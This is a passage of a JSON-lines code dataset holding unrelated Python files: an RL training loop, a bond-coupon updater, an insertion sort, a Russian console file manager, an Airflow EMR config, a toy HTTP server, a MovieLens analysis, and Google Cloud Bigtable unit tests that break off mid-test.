non_final_mask.sum()),action_max.squeeze(),:]\n \n # Optimizing the SR branch\n U_observed = anet(tnet(state_batch))[torch.arange(0, bs),action_batch.squeeze(),:]\n U_estimated = tnet(state_batch) + GAMMA * next_state_ests\n L_m = loss(U_observed, U_estimated)\n L_m_vec.append(L_m.item())\n optimizer_a.zero_grad()\n L_m.backward()\n optimizer_a.step()\n\n#### Training starts here\n# (line number below are the same as line numbers in the pseudo code)\nprint('Training is starting...')\n\n# Initializations: Line 1\nnum_episodes = 300 # CHANGE\nn_actions = 3\nR_eps = []\ned = []; eps_vec = [];\nactions = []\neval_r_mean = []; eval_r_std = []\n\n# Setting seeds\ntorch.manual_seed(0); np.random.seed(0)\nenv.seed(0)\ntorch.backends.cudnn.deterministic = True\n\nglobal i_episode\nfor i_episode in tqdm(range(num_episodes)): # Line 2\n R = 0\n # Trick from paper: dividing batch size by 2\n if(BATCH_SIZE>2):\n BATCH_SIZE = BATCH_SIZE // 2\n \n # Initialize the environment and state: Line 3\n env.reset()\n state = get_screen(env, h=IMG_HEIGHT, w=IMG_WIDTH, device=device)\n \n for t in count(): # Line 4\n \n # Find abstracted states: Line 5\n phi = tnet(state)\n \n # Select an action: Line 6\n action = select_action(phi, wnet.head.weight.data.view(-1,1))\n actions.append(action.item())\n \n # Perform an action: Line 7\n _, reward, done, _ = env.step(action.item())\n done = torch.tensor([done], device=device)\n if(reward > 0):\n reward = 1\n R = R + reward\n reward = torch.tensor([reward], device=device).float()\n next_state = get_screen(env, h=IMG_HEIGHT, w=IMG_WIDTH, device=device)\n \n # Store the transition in memory: Line 8\n if(reward<=0):\n memory.push(state, action, next_state, reward, done)\n else:\n memory_win.push(state, action, next_state, reward, done)\n memory.push(state, action, next_state, reward, done) \n \n # Move to the next state\n state = next_state\n\n # Lines 9 - 11\n optimize_model() # TODO\n \n # Additional tracking\n if done:\n ed.append(t+1)\n R_eps.append(R)\n eps_vec.append(EPS)\n break\n \n # Updating target network \n if i_episode % TARGET_UPDATE == 0:\n anet_target.load_state_dict(anet.state_dict())\n \n # End training if you're almost exploiting, don't waste iterations\n if EPS < 1.05*EPS_END:\n break\n\n# Visaulizing/Evaluating the trained model\ndef visualize_results():\n plt.figure(figsize=(18,9))\n plt.subplot(3,3,1); plt.plot(ed); plt.title('ep_length');\n plt.subplot(3,3,2); plt.plot(R_eps); plt.title('R'); \n plt.subplot(3,3,3); plt.plot(eps_vec); plt.title('eps values'); \n plt.subplot(3,3,4); plt.plot(L_r_vec[:]); plt.title('reward loss'); \n plt.subplot(3,3,5); plt.plot(L_m_vec[:]); plt.title('SR loss'); \n plt.subplot(3,3,6); plt.plot(L_a_vec[:]); plt.title('reconstruction loss'); \n plt.subplot(3,3,7); plt.plot(np.cumsum(ed)); plt.title('cumm episode steps')\n plt.show()\n\nvisualize_results()\n\nenv_test = gym.make(ENV_NAME)\ndef evaluate(no_seeds=10):\n \"\"\"Function to evaluate trained models using greedy actions.\n \"\"\"\n r_vec = []\n wins = 0\n for i in range(no_seeds):\n env_test.seed(i)\n env_test.reset()\n Rt = 0\n for timesteps in count():\n # choose greedy action\n action = select_action(tnet(get_screen(env_test)), wnet.head.weight.data.view(-1,1), greedy=True)\n _, R, done, _ = env_test.step(action.item())\n Rt = R + Rt\n if(done):\n r_vec.append(R)\n if R != 0:\n wins = wins + 1\n env_test.render()\n break\n \n return wins, np.mean(r_vec), np.std(r_vec) \n\nwins, a, b = evaluate(10)\nprint('Completely solved (out of 10): ', wins)","sub_path":"My-Code/train_agent.py","file_name":"train_agent.py","file_ext":"py","file_size_in_byte":9479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"413269294","text":"from SQL_Server_Connector import SQL_Server_Connection\nfrom Queries import Queries\nfrom Indexes import Indexes\nfrom Bond_Coupons import Bond_Coupons\nfrom Functions import *\nfrom API_BBG import *\n\nfrom datetime import datetime\n\nimport sys\nimport pandas as pd\nimport numpy as np\n\n\n# Main Script\nif __name__ == '__main__':\n # Set Refdate as Integer\n # Refdate = 20191227\n Refdate = int(sys.argv[1])\n Log_DirSrc = sys.argv[2]\n\n TdDate = int(date.today().strftime(\"%Y%m%d\"))\n Refdate == TdDate\n # Set Request type [BDP, BDH]\n BBG_Req = 'BDP'\n\n # Abre log\n file = open(Log_DirSrc, \"a+\")\n\n # Time now\n Time_Now = datetime.now().strftime(\"%Y%m%d %H:%M:%S\")\n\n ######################################## Save Coupons ########################################\n # Passar para arquivo main qndo estiver pronto\n # PREV_CPN_DT só funciona com BDP\n if Refdate == TdDate:\n Queries = Queries()\n SQL_Server_Connection = SQL_Server_Connection(database='PM')\n Bond_Coupons = Bond_Coupons(SQL_Server_Connection=SQL_Server_Connection, Queries=Queries)\n\n # Get list of Bonds\n Bonds_DF = Bond_Coupons.getBond_List(Refdate=Refdate)\n\n ############################### Bond Ratings ###############################\n # Bloomberg Rating\n Bonds_BBG_Ratings = Bond_Coupons.getBond_Ratings(Bonds_DF=Bonds_DF, Refdate=Refdate)\n\n # Rating Octante\n Bonds_Oct_Ratings = Bond_Coupons.getRatings_Group(Bonds_BBG_Ratings=Bonds_BBG_Ratings)\n\n # Update BondsRatings\n # Remove History\n Bond_Coupons.deleteBonds_Ratings(Bonds_Oct_Ratings=Bonds_Oct_Ratings, Refdate=Refdate)\n # Insert\n Bond_Coupons.insertBond_Ratings(Bonds_Oct_Ratings=Bonds_Oct_Ratings)\n file.write(f\"Refdate:{Refdate} Saved Bonds Ratings Time:{Time_Now}\\n\")\n\n ############################### Bond Coupons ###############################\n # Coupon List to Insert\n Bonds_TdCp = Bond_Coupons.getBond_Coupons(Bonds_DF=Bonds_DF, Refdate=Refdate)\n\n # Asset Events DataFrame\n AssetEvents_DF = Bond_Coupons.createAssetEvent_CouponsDF(\n Bonds_DF=Bonds_DF, Bonds_TdCp=Bonds_TdCp, Refdate=Refdate)\n\n # Update Asset Events\n # Remove History\n Bond_Coupons.deleteAssetEvents_Coupons(AssetEvents_DF=AssetEvents_DF, Refdate=Refdate)\n # Insert\n Bond_Coupons.insertAssetEvents_Coupons(AssetEvents_DF=AssetEvents_DF)\n\n # Log Saved Assets\n if not Bonds_TdCp.empty:\n TdCp_List = Bonds_TdCp[\"BBGTicker\"].tolist()\n file.write(f\"Refdate:{Refdate} Inserted Coupons Payments for Refdate {Refdate}:{TdCp_List}\")\n\n file.write(f\"Refdate:{Refdate} Saved_Coupons Time:{Time_Now}\\n\")\n file.close()\n","sub_path":"Save_Coupons.py","file_name":"Save_Coupons.py","file_ext":"py","file_size_in_byte":2777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"135829467","text":"from _Helper import *\n\n# \n# Naive sort with O(c*N*N) complexity and relative smaller constant param c\n# \n\n# \n# TIME: O(N*N)\n# SPACE: O(1)\n# \n\n\n# \nclass Solution(object):\n def InsertionSort(self, A):\n for j in range(len(A))[1:]:\n key = A[j]\n i = j - 1\n while i >= 0 and A[i] > key:\n A[i + 1] = A[i]\n i -= 1\n A[i + 1] = key\n\n\n# \n\n# \ns = Solution()\nInput = [1, 3, 2, 6, 5]\nexpected = [1, 2, 3, 5, 6]\nactual = copy.deepcopy(Input)\ns.InsertionSort(actual)\nAreEqual(expected, actual, Input)\n# another pair\ns = Solution()\nInput = [1, 2, 3]\nexpected = [1, 2, 3]\nactual = copy.deepcopy(Input)\ns.InsertionSort(actual)\nAreEqual(expected, actual, Input)\n# another pair\ns = Solution()\nInput = [5, 4, 3, 2, 1]\nexpected = [1, 2, 3, 4, 5]\nactual = copy.deepcopy(Input)\ns.InsertionSort(actual)\nAreEqual(expected, actual, Input)\n# ","sub_path":"assets/Introduction-to-Algorithms/Python/2_1_InsertionSort.py","file_name":"2_1_InsertionSort.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"261355633","text":"import sys\nimport os\nfrom functions_filemgr import *\n\nif len(sys.argv) > 1: # Обработка запуска с аргументом\n command = sys.argv[1:]\n cmd = True\n save_info('Запуск с аргументом')\nelse: # Обработка запуска без аргумента\n command = [None]\n cmd = False\n save_info('Запуск без аргумента')\n\ncurrent_path = os.getcwd() # Получение текущего пути для отображения\nwhile command[0] != 'exit': # Программа работает пока не получит комманду на завершение\n\n if command[0] == 'crf': # Создание файла\n if len(command) >= 3:\n create_file(command[1], ' '.join(command[2:]))\n elif len(command) == 2:\n create_file(command[1])\n else:\n print('Аргументы не заданы')\n ask_for_help()\n save_info('Выполнена комманда {}'.format(str(command)))\n elif command[0] == 'del': # Удаление\n if len(command) > 1:\n for arg in command[1:]: # Если указано несколько файлов или папок - удалить все\n delete_file(arg)\n else:\n print('Файлы для удаления не заданы')\n ask_for_help()\n save_info('Выполнена комманда {}'.format(str(command)))\n elif command[0] == 'crd': # Создание папки\n if len(command) > 1:\n create_folder(command[1])\n else:\n print('Имя папки не задано')\n ask_for_help()\n save_info('Выполнена комманда {}'.format(str(command)))\n elif command[0] == 'cp': # Копирование\n if len(command) == 3:\n copy_file(command[1], command[2])\n else:\n print('Аргументы отсутствуют или заданы не верно')\n ask_for_help()\n save_info('Выполнена комманда {}'.format(str(command)))\n elif command[0] == 'ls':\n get_list()\n elif command[0] == 'ch': # изменение рабочего каталога\n if len(command) == 2 and not cmd:\n try:\n os.chdir(command[1])\n current_path = command[1]\n except FileNotFoundError:\n print('Данный путь или каталог не существует')\n else:\n print('Аргументы отсутствуют или заданы не верно')\n ask_for_help()\n save_info('Выполнена комманда {}'.format(str(command)))\n else:\n if cmd:\n print('Нет такой команды')\n ask_for_help()\n else:\n print('Консольный файловый менеджер. Для справки введите \"help\"')\n\n if cmd: # Завершение цикла, если программа была вызвана с аргументами\n break\n\n command = input(info_string(current_path)).split(' ')\nsave_info('Завершение работы с программой')\n","sub_path":"py_introduction/lesson16/console_filemgr.py","file_name":"console_filemgr.py","file_ext":"py","file_size_in_byte":3279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"517298579","text":"import json\nfrom airflow.models import Variable\n\n\nBOOTSTRAP_KEY = Variable.get(\"BOOTSTRAP_KEY\")\nJOB_NAME = Variable.get(\"JOB_NAME\")\nRELEASE_LABEL = Variable.get(\"RELEASE_LABEL\")\nCORE_INSTANCE_TYPE = Variable.get(\"CORE_INSTANCE_TYPE\")\nMASTER_INSTANCE_TYPE = Variable.get(\"MASTER_INSTANCE_TYPE\")\nMASTER_INSTANCE_COUNT = Variable.get(\"MASTER_INSTANCE_COUNT\")\nCORE_INSTANCE_COUNT = Variable.get(\"CORE_INSTANCE_COUNT\")\nINSTANCE_GROUP_MARKET = Variable.get(\"INSTANCE_GROUP_MARKET\")\nEXECUTOR_MEMORY = Variable.get(\"EXECUTOR_MEMORY\")\nEBSROOTVOLSIZE = Variable.get(\"EBSROOTVOLSIZE\")\n\nwith open(\"emr_applications/applications.json\") as app:\n APPLICATIONS = json.load(app)\n\nwith open(\"emr_steps/steps.json\") as step:\n STEPS = json.load(step)\n\n\n# JOB FLOW OVERRIDES Configuration\nJOB_FLOW_OVERRIDES = {\n \"Name\": \"{{ var.value.JOB_NAME }}\",\n \"ReleaseLabel\": \"{{ var.value.RELEASE_LABEL }}\",\n \"Applications\": APPLICATIONS,\n \"Configurations\": [\n {\n \"Classification\": \"spark-env\",\n \"Configurations\": [\n {\n \"Classification\": \"export\",\n \"Properties\": {\"PYSPARK_PYTHON\": \"/usr/bin/python3\"}, # by default EMR uses py2, change it to py3\n }\n ],\n },\n {\n \"Classification\": \"spark\",\n \"Properties\": {\n \"maximizeResourceAllocation\": \"true\"\n }\n },\n {\n \"Classification\": \"spark-defaults\",\n \"Properties\": {\n \"spark.executor.memory\": \"{{ var.value.EXECUTOR_MEMORY }}\",\n }\n },\n ],\n \"Instances\": {\n \"InstanceGroups\": [\n {\n \"Name\": \"Master node\",\n \"Market\": \"{{ var.value.INSTANCE_GROUP_MARKET }}\",\n \"InstanceRole\": \"MASTER\", \n \"InstanceType\": \"{{ var.value.MASTER_INSTANCE_TYPE }}\",\n \"InstanceCount\": \"{{ var.value.MASTER_INSTANCE_COUNT }}\",\n },\n {\n \"Name\": \"Core - 2\",\n \"Market\": \"{{ var.value.INSTANCE_GROUP_MARKET }}\",\n \"InstanceRole\": \"CORE\",\n \"InstanceType\": \"{{ var.value.CORE_INSTANCE_TYPE }}\",\n \"InstanceCount\": \"{{ var.value.CORE_INSTANCE_COUNT }}\",\n },\n ],\n \"KeepJobFlowAliveWhenNoSteps\": True,\n \"TerminationProtected\": False, # this lets us programmatically terminate the cluster\n },\n \"BootstrapActions\": [\n {\n \"Name\": \"Bootstrap\",\n \"ScriptBootstrapAction\": {\n \"Path\": \"s3://{{ var.value.BOOTSTRAP_KEY }}/emr_bootstrap.sh\"\n } \n }\n ],\n \"JobFlowRole\": \"EMR_EC2_DefaultRole\",\n \"ServiceRole\": \"EMR_DefaultRole\",\n \"EbsRootVolumeSize\": \"{{ var.value.EBSROOTVOLSIZE }}\"\n}\n\n\n\n# EMR STEPS Configuration\nEMR_STEPS = [\n STEPS\n]\n\n","sub_path":"cloud/dags/configuration/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"97519983","text":"#!/usr/bin/env python3\n\nimport socket\nimport _thread\nimport sys\nimport re\n\nfrom wsgiref.handlers import format_date_time\nfrom datetime import datetime\nfrom time import mktime\n\nclass ClientHandler:\n\tMAX_SIZE = 8192\n\n\tdef __init__(self, client):\n\t\tsuper().__init__()\n\t\tself.client = client\n\t\tself.size = 4096\n\t\tself.data = b''\n\t\tself.fileno = client.fileno()\n\n\tdef run(self):\n\t\tprint('Opening connection {}'.format(self.fileno))\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tdata = self.client.recv(self.size)\n\t\t\t\tself.data += data\n\t\t\t\tend_of_request = re.search(b'\\r\\n\\r\\n', data)\n\t\t\t\tif end_of_request:\n\t\t\t\t\tself.process_request()\n\t\t\t\t\tbreak\n\t\t\t\telif len(self.data) >= self.MAX_SIZE or len(data) == 0:\n\t\t\t\t\tbreak\n\t\t\texcept socket.timeout:\n\t\t\t\tprint('Connection {} timed out'.format(self.fileno))\n\t\t\t\tbreak\n\t\tself.client.close()\n\t\tprint('Closed connection {}'.format(self.fileno))\n\t\t_thread.exit()\n\n\tdef process_request(self):\n\t\trequest_line, request_headers = HTTPRequest.parse_headers(self.data)\n\t\trequest = HTTPRequest(request_headers, *request_line)\n\t\tresp = request.generate_response()\n\t\tself.client.sendall(resp)\n\nclass HTTPRequest:\n\tdef __init__(self, headers, method, resource, version):\n\t\tself.headers = headers\n\t\tself.method = method\n\t\tself.resource = resource\n\t\tself.version = version\n\n\tdef generate_response(self):\n\t\tcode, msg, body, file_type = HTTPResponse.get_body(self.resource)\n\t\tresp = HTTPResponse(code, msg, body, file_type)\n\t\treturn resp.get_response()\n\n\t@classmethod\n\tdef parse_headers(cls, data):\n\t\ttext = data.decode()\n\t\trequest_line = text.split()[:3]\n\t\trequest_headers = dict(re.findall('(.*): (.*)\\r\\n', text))\n\t\treturn (request_line, request_headers)\n\nclass HTTPResponse:\n\tdef __init__(self, code, msg, body, file_type):\n\t\tself.status = 'HTTP/1.1 {0} {1}'.format(code, msg)\n\t\tself.server = 'Server: jmw/0.01 (Debian/Linux)'\n\t\tself.content_type = 'Content-Type: text/{0}; charset=UTF-8'.format(file_type)\n\t\tself.body = body\n\t\tself.date = 'Date: {0}'.format(self.get_date())\n\n\tdef get_response(self):\n\t\theaders = [self.status, self.date, self.server, self.content_type, '\\r\\n']\n\t\tresponse = '\\r\\n'.join(headers)\n\t\tif self.body:\n\t\t\tresponse += self.body\n\t\treturn response.encode('utf-8')\n\n\tdef get_date(self):\n\t\tnow = datetime.now()\n\t\tstamp = mktime(now.timetuple())\n\t\treturn format_date_time(stamp)\n\n\t@classmethod\n\tdef get_body(cls, resource):\n\t\tif resource == '/':\n\t\t\tresource = '/index.html'\n\t\tfilename = 'static{0}'.format(resource)\n\t\text = re.search('\\.([a-z]+)$', filename)\n\t\tfile_type = ext.group(1) if ext else 'html' \n\t\ttry:\n\t\t\twith open(filename, 'r') as f:\n\t\t\t\treturn (200, 'OK', f.read(), file_type)\n\t\texcept IOError as e:\n\t\t\tprint('Warning [ERRNO {0}]: \\'{1}\\': {2}'.format(e.errno, filename, e.strerror))\n\t\t\twith open('static/404.html', 'r') as f:\n\t\t\t\treturn (404, 'NOT FOUND', f.read(), 'html')\n\nclass Server:\n\tdef __init__(self, port):\n\t\tself.port = port\n\t\tself.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\tself.read_list = [self.sock]\n\t\tself.timeout = 0.0\n\t\tself.client_handlers = {}\n\n\tdef open_socket(self):\n\t\ttry:\n\t\t\tself.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\t\t\tself.sock.bind(('', self.port))\n\t\t\tself.sock.listen(5)\n\t\t\tprint('listening on {0}...'.format(self.port))\n\t\texcept socket.error as e:\n\t\t\tself.sock.close()\n\t\t\tprint('socket.error [ERRNO {0}]: {1}'.format(e.errno, e.strerror))\n\t\t\tsys.exit(1)\n\n\tdef start(self):\n\t\tsocket.setdefaulttimeout(10.0)\n\t\tself.open_socket()\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tfd, _ = self.sock.accept()\n\t\t\t\tclient = ClientHandler(fd)\n\t\t\t\t_thread.start_new_thread(client.run, ())\n\t\t\texcept KeyboardInterrupt:\n\t\t\t\tprint('Server is shutting down...')\n\t\t\t\tself.sock.close()\n\t\t\t\tsys.exit(1)\n\ndef main():\n\tServer(8000).start()\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"kt_server.py","file_name":"kt_server.py","file_ext":"py","file_size_in_byte":3740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"379283301","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\n@author: CareyWYR\n\"\"\"\n\nimport pandas as pd\n\ndata_file = '../source/ml-100k/u.data'\nuser_file = '../source/ml-100k/u.user'\n\ndef get_data():\n data_set = pd.read_table(data_file,header=None,sep='\t',names=['user_id','item_id','rating','timestamp'])\n data_user = pd.read_table(user_file,header=None,sep='|',names=['user_id','age','gender','occupation','zip_code'])\n data_detail = pd.merge(data_set,data_user)\n grouped_rating = data_detail['rating'].groupby([data_detail['gender'],data_detail['user_id']])\n series = grouped_rating.mean()\n print('M',series['M'].std()) \n print('F',series['F'].std())\n","sub_path":"sex_influence_film/answer_of_homework.py","file_name":"answer_of_homework.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"151874437","text":"# Copyright 2016 Google Inc. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nimport unittest2\n\n\nclass TestCell(unittest2.TestCase):\n\n def _getTargetClass(self):\n from gcloud.bigtable.row_data import Cell\n return Cell\n\n def _makeOne(self, *args, **kwargs):\n return self._getTargetClass()(*args, **kwargs)\n\n def _from_pb_test_helper(self, labels=None):\n import datetime\n from gcloud._helpers import _EPOCH\n from gcloud.bigtable._generated import bigtable_data_pb2 as data_pb2\n\n timestamp_micros = 18738724000 # Make sure millis granularity\n timestamp = _EPOCH + datetime.timedelta(microseconds=timestamp_micros)\n value = b'value-bytes'\n\n if labels is None:\n cell_pb = data_pb2.Cell(value=value,\n timestamp_micros=timestamp_micros)\n cell_expected = self._makeOne(value, timestamp)\n else:\n cell_pb = data_pb2.Cell(value=value,\n timestamp_micros=timestamp_micros,\n labels=labels)\n cell_expected = self._makeOne(value, timestamp, labels=labels)\n\n klass = self._getTargetClass()\n result = klass.from_pb(cell_pb)\n self.assertEqual(result, cell_expected)\n\n def test_from_pb(self):\n self._from_pb_test_helper()\n\n def test_from_pb_with_labels(self):\n labels = [u'label1', u'label2']\n self._from_pb_test_helper(labels)\n\n def test_constructor(self):\n value = object()\n timestamp = object()\n cell = self._makeOne(value, timestamp)\n self.assertEqual(cell.value, value)\n self.assertEqual(cell.timestamp, timestamp)\n\n def test___eq__(self):\n value = object()\n timestamp = object()\n cell1 = self._makeOne(value, timestamp)\n cell2 = self._makeOne(value, timestamp)\n self.assertEqual(cell1, cell2)\n\n def test___eq__type_differ(self):\n cell1 = self._makeOne(None, None)\n cell2 = object()\n self.assertNotEqual(cell1, cell2)\n\n def test___ne__same_value(self):\n value = object()\n timestamp = object()\n cell1 = self._makeOne(value, timestamp)\n cell2 = self._makeOne(value, timestamp)\n comparison_val = (cell1 != cell2)\n self.assertFalse(comparison_val)\n\n def test___ne__(self):\n value1 = 'value1'\n value2 = 'value2'\n timestamp = object()\n cell1 = self._makeOne(value1, timestamp)\n cell2 = self._makeOne(value2, timestamp)\n self.assertNotEqual(cell1, cell2)\n\n\nclass TestPartialRowData(unittest2.TestCase):\n\n def _getTargetClass(self):\n from gcloud.bigtable.row_data import PartialRowData\n return PartialRowData\n\n def _makeOne(self, *args, **kwargs):\n return self._getTargetClass()(*args, **kwargs)\n\n def test_constructor(self):\n row_key = object()\n partial_row_data = self._makeOne(row_key)\n self.assertTrue(partial_row_data._row_key is row_key)\n self.assertEqual(partial_row_data._cells, {})\n self.assertFalse(partial_row_data._committed)\n self.assertFalse(partial_row_data._chunks_encountered)\n\n def test___eq__(self):\n row_key = object()\n partial_row_data1 = self._makeOne(row_key)\n partial_row_data2 = self._makeOne(row_key)\n self.assertEqual(partial_row_data1, partial_row_data2)\n\n def test___eq__type_differ(self):\n partial_row_data1 = self._makeOne(None)\n partial_row_data2 = object()\n self.assertNotEqual(partial_row_data1, partial_row_data2)\n\n def test___ne__same_value(self):\n row_key = object()\n partial_row_data1 = self._makeOne(row_key)\n partial_row_data2 = self._makeOne(row_key)\n comparison_val = (partial_row_data1 != partial_row_data2)\n self.assertFalse(comparison_val)\n\n def test___ne__(self):\n row_key1 = object()\n partial_row_data1 = self._makeOne(row_key1)\n row_key2 = object()\n partial_row_data2 = self._makeOne(row_key2)\n self.assertNotEqual(partial_row_data1, partial_row_data2)\n\n def test___ne__committed(self):\n row_key = object()\n partial_row_data1 = self._makeOne(row_key)\n partial_row_data1._committed = object()\n partial_row_data2 = self._makeOne(row_key)\n self.assertNotEqual(partial_row_data1, partial_row_data2)\n\n def test___ne__cells(self):\n row_key = object()\n partial_row_data1 = self._makeOne(row_key)\n partial_row_data1._cells = object()\n partial_row_data2 = self._makeOne(row_key)\n self.assertNotEqual(partial_row_data1, partial_row_data2)\n\n def test_to_dict(self):\n cell1 = object()\n cell2 = object()\n cell3 = object()\n\n family_name1 = u'name1'\n family_name2 = u'name2'\n qual1 = b'col1'\n qual2 = b'col2'\n qual3 = b'col3'\n\n partial_row_data = self._makeOne(None)\n partial_row_data._cells = {\n family_name1: {\n qual1: cell1,\n qual2: cell2,\n },\n family_name2: {\n qual3: cell3,\n },\n }\n\n result = partial_row_data.to_dict()\n expected_result = {\n b'name1:col1': cell1,\n b'name1:col2': cell2,\n b'name2:col3': cell3,\n }\n self.assertEqual(result, expected_result)\n\n def test_cells_property(self):\n partial_row_data = self._makeOne(None)\n cells = {1: 2}\n partial_row_data._cells = cells\n # Make sure we get a copy, not the original.\n self.assertFalse(partial_row_data.cells is cells)\n self.assertEqual(partial_row_data.cells, cells)\n\n def test_row_key_getter(self):\n row_key = object()\n partial_row_data = self._makeOne(row_key)\n self.assertTrue(partial_row_data.row_key is row_key)\n\n def test_committed_getter(self):\n partial_row_data = self._makeOne(None)\n partial_row_data._committed = value = object()\n self.assertTrue(partial_row_data.committed is value)\n\n def test_clear(self):\n partial_row_data = self._makeOne(None)\n cells = {1: 2}\n partial_row_data._cells = cells\n self.assertEqual(partial_row_data.cells, cells)\n partial_row_data._committed = True\n partial_row_data._chunks_encountered = True\n partial_row_data.clear()\n self.assertFalse(partial_row_data.committed)\n self.assertFalse(partial_row_data._chunks_encountered)\n self.assertEqual(partial_row_data.cells, {})\n\n def test__handle_commit_row(self):\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n\n partial_row_data = self._makeOne(None)\n chunk = messages_pb2.ReadRowsResponse.Chunk(commit_row=True)\n\n index = last_chunk_index = 1\n self.assertFalse(partial_row_data.committed)\n partial_row_data._handle_commit_row(chunk, index, last_chunk_index)\n self.assertTrue(partial_row_data.committed)\n\n def test__handle_commit_row_false(self):\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n\n partial_row_data = self._makeOne(None)\n chunk = messages_pb2.ReadRowsResponse.Chunk(commit_row=False)\n\n with self.assertRaises(ValueError):\n partial_row_data._handle_commit_row(chunk, None, None)\n\n def test__handle_commit_row_not_last_chunk(self):\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n\n partial_row_data = self._makeOne(None)\n chunk = messages_pb2.ReadRowsResponse.Chunk(commit_row=True)\n\n with self.assertRaises(ValueError):\n index = 0\n last_chunk_index = 1\n self.assertNotEqual(index, last_chunk_index)\n partial_row_data._handle_commit_row(chunk, index, last_chunk_index)\n\n def test__handle_reset_row(self):\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n\n partial_row_data = self._makeOne(None)\n chunk = messages_pb2.ReadRowsResponse.Chunk(reset_row=True)\n\n # Modify the PartialRowData object so we can check it's been cleared.\n partial_row_data._cells = {1: 2}\n partial_row_data._committed = True\n partial_row_data._handle_reset_row(chunk)\n self.assertEqual(partial_row_data.cells, {})\n self.assertFalse(partial_row_data.committed)\n\n def test__handle_reset_row_failure(self):\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n\n partial_row_data = self._makeOne(None)\n chunk = messages_pb2.ReadRowsResponse.Chunk(reset_row=False)\n\n with self.assertRaises(ValueError):\n partial_row_data._handle_reset_row(chunk)\n\n def test__handle_row_contents(self):\n from gcloud.bigtable._generated import bigtable_data_pb2 as data_pb2\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n from gcloud.bigtable.row_data import Cell\n\n partial_row_data = self._makeOne(None)\n cell1_pb = data_pb2.Cell(timestamp_micros=1, value=b'val1')\n cell2_pb = data_pb2.Cell(timestamp_micros=200, value=b'val2')\n cell3_pb = data_pb2.Cell(timestamp_micros=300000, value=b'val3')\n col1 = b'col1'\n col2 = b'col2'\n columns = [\n data_pb2.Column(qualifier=col1, cells=[cell1_pb, cell2_pb]),\n data_pb2.Column(qualifier=col2, cells=[cell3_pb]),\n ]\n family_name = u'name'\n row_contents = data_pb2.Family(name=family_name, columns=columns)\n chunk = messages_pb2.ReadRowsResponse.Chunk(row_contents=row_contents)\n\n self.assertEqual(partial_row_data.cells, {})\n partial_row_data._handle_row_contents(chunk)\n expected_cells = {\n family_name: {\n col1: [Cell.from_pb(cell1_pb), Cell.from_pb(cell2_pb)],\n col2: [Cell.from_pb(cell3_pb)],\n }\n }\n self.assertEqual(partial_row_data.cells, expected_cells)\n\n def test_update_from_read_rows(self):\n from gcloud.bigtable._generated import bigtable_data_pb2 as data_pb2\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n\n row_key = b'row-key'\n partial_row_data = self._makeOne(row_key)\n\n # Set-up chunk1, some data that will be reset by chunk2.\n ignored_family_name = u'ignore-name'\n row_contents = data_pb2.Family(name=ignored_family_name)\n chunk1 = messages_pb2.ReadRowsResponse.Chunk(row_contents=row_contents)\n\n # Set-up chunk2, a reset row.\n chunk2 = messages_pb2.ReadRowsResponse.Chunk(reset_row=True)\n\n # Set-up chunk3, a column family with no columns.\n family_name = u'name'\n row_contents = data_pb2.Family(name=family_name)\n chunk3 = messages_pb2.ReadRowsResponse.Chunk(row_contents=row_contents)\n\n # Set-up chunk4, a commit row.\n chunk4 = messages_pb2.ReadRowsResponse.Chunk(commit_row=True)\n\n # Prepare request and make sure PartialRowData is empty before.\n read_rows_response_pb = messages_pb2.ReadRowsResponse(\n row_key=row_key, chunks=[chunk1, chunk2, chunk3, chunk4])\n self.assertEqual(partial_row_data.cells, {})\n self.assertFalse(partial_row_data.committed)\n self.assertFalse(partial_row_data._chunks_encountered)\n\n # Parse the response and make sure the cells took place.\n partial_row_data.update_from_read_rows(read_rows_response_pb)\n self.assertEqual(partial_row_data.cells, {family_name: {}})\n self.assertFalse(ignored_family_name in partial_row_data.cells)\n self.assertTrue(partial_row_data.committed)\n self.assertTrue(partial_row_data._chunks_encountered)\n\n def test_update_from_read_rows_while_committed(self):\n partial_row_data = self._makeOne(None)\n partial_row_data._committed = True\n self.assertFalse(partial_row_data._chunks_encountered)\n\n with self.assertRaises(ValueError):\n partial_row_data.update_from_read_rows(None)\n\n self.assertFalse(partial_row_data._chunks_encountered)\n\n def test_update_from_read_rows_row_key_disagree(self):\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n\n row_key1 = b'row-key1'\n row_key2 = b'row-key2'\n partial_row_data = self._makeOne(row_key1)\n self.assertFalse(partial_row_data._chunks_encountered)\n\n self.assertNotEqual(row_key1, row_key2)\n 